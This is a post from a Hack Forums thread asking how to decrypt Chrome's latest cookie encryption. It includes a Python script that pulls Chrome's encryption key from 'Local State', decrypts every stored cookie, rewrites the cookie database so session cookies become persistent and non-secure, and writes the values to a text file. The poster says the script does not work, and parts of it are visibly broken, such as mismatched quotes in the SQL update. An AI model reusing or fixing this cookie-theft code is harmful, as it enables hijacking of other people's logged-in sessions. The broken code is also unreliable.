

Forum: [Hack Forums](#)

Thread: [Chrome cookies](#)

runs3c - May 28, 2022, 8:07 am

Hi guys, anyone got a good method to decrypt latest version of chrome for cookies?

Cant manage to find one

Code # Based on:

```
# https://gist.github.com/DakuTree/98c8362fb424351b803e
# https://gist.github.com/jordan-wright/5770442
# https://gist.github.com/DakuTree/428e5b737306937628f2944fbfdc4ffc
# https://stackoverflow.com/questions/60416350/chrome-80-how-to-decode-cookies
#
https://stackoverflow.com/questions/43987779/python-module-crypto-cipher-aes-has-no-attribute-
mode-ccm-even-though-pycry
```

```
import os
import json
import base64
import sqlite3
from shutil import copyfile
```

```
# python.exe -m pip install pypiwin32
import win32crypt
# python.exe -m pip install pycryptodomex
from Cryptodome.Cipher import AES
```

```
# Copy Cookies and Local_State to current folder
#copyfile(os.getenv("APPDATA") + "../Local/Google/Chrome/User Data/Default/Cookies",
'./Cookies')
```

```
# Load encryption key
encrypted_key = None
with open("./Local State", 'r') as file:
    encrypted_key = json.loads(file.read())['os_crypt']['encrypted_key']
encrypted_key = base64.b64decode(encrypted_key)
encrypted_key = encrypted_key[5:]
print(encrypted_key);
decrypted_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
decrypted_value2 = "";
```

```
# Connect to the Database
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()
```

```
# Get the results
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for host_key, name, value, encrypted_value in cursor.fetchall():
```

```

# Decrypt the encrypted_value

try:
    # Try to decrypt as AES (2020 method)

    cipher = AES.new(decrypted_key, AES.MODE_GCM, nonce=encrypted_value[3:3+12])
    decrypted_value = cipher.decrypt_and_verify(encrypted_value[3+12:-16],
encrypted_value[-16:])
except:
    # If failed try with the old method

    decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None,
0)[1].decode('utf-8') or value or 0

# Update the cookies with the decrypted value
# This also makes all session cookies persistent
cursor.execute("\
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 999999999999999999,
is_persistent = 1, is_secure = 0\
WHERE host_key = ?\
AND name = ?',
(decrypted_value, host_key, name));

cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for host_key, name, value, encrypted_value in cursor.fetchall():
    # Decrypt the encrypted_value

    cipher = AES.new(decrypted_key, AES.MODE_GCM, nonce=encrypted_value[3:3+12])
    decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None,
0)[1].decode(
    'utf-8') or value or 0
    # Append 'hello' at the end of file
    #line = decrypted_value.decode('UTF-8') + " + host_key.decode('UTF-8') + ' ' +
name.decode('UTF-8')
    f = open('chrome.txt', 'a')
    f.write('key: ' + host_key + '\n name: ' + name + '\n Value:' + decrypted_value.decode('UTF-8') +
'\n')
    f.close()

print('here')
conn.commit()

conn.close()
This does not work.

```